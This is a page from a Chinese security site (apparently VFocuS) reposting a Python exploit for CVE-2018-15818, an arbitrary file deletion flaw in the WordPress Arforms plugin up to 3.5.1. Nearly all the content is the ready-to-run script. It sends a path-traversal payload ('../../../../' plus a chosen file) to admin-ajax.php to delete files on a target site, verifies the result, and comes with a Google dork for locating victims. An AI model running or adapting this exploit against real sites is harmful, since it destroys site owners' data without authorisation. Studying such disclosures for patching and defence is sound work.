首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WordPress Arforms 3.5.1 Arbitrary File Delete
来源:@Mahboubi66 作者:Mahboubi 发布时间:2018-10-29  
# Exploit Title: WordPress Plugin Arforms 3.5.1 - Delete arbitrary file
# Google Dork: /plugins/arforms/
# Date: 2018-10-17
# Exploit Author: Amir Hossein Mahboubi
# Twitter: @Mahboubi66
# Vendor Homepage: https://www.arformsplugin.com/
# Version: <=3.5.1
# Tested on: Linux & Windows
# CVE : CVE-2018-15818

#!/usr/bin/python
import requests
import sys

headers = {
	"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
	"Accept": "*/*",
	"Accept-Language": "en-US,en;q=0.5",
	"Accept-Encoding": "gzip, deflate",
	"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
	"X-Requested-With": "XMLHttpRequest",
	"Connection": "close"
	}
	
print "\n"	
if(len(sys.argv)<3):
	print "Please enter WP URL as first argument and file address that you want to delete as second one\n\
for example if WP is installed in the root directory of www.example.com and we want to delete index.php\n\
the exploit format should be: python arforms.py www.example.com index.php"
	exit()

r = requests.get(sys.argv[1]+sys.argv[2], headers=headers)
if(r.status_code==404):
	print "The specified file doesn't exist on the host"
	exit()
	
	
url = sys.argv[1]+'/wp-admin/admin-ajax.php'

payload = {
	"action":"arf_delete_file",
	"file_name":"../../../../"+sys.argv[2]
	}


r = requests.post(url, data=payload, headers=headers)
if(r.status_code!=200):
	print "The specified URL is not a wordpress installation or the plugin isn't installed"
else:
	r = requests.get(sys.argv[1]+sys.argv[2], headers=headers)
	if(r.status_code!=200):
		print "Operation completed"
	else:
		print "The target isn't vulnerable"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·VideoScript 3.0 <= 4.0.1.50 Of
  相关文章
·ASRock Drivers Privilege Escal
·Linux mremap() TLB Flush Too L
·Linux systemd Symlink Derefere
·Linux systemd Line Splitting
·xorg-x11-server Local Root
·xorg-x11-server Local Privileg
·libtiff 4.0.9 - Decodes Arbitr
·Adult Filter 1.0 - Buffer Over
·BORGChat 1.0.0 build 438 - Den
·WebExec Authenticated User Cod
·WebEx Local Service Permission
·Apache OFBiz 16.11.04 - XML Ex
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved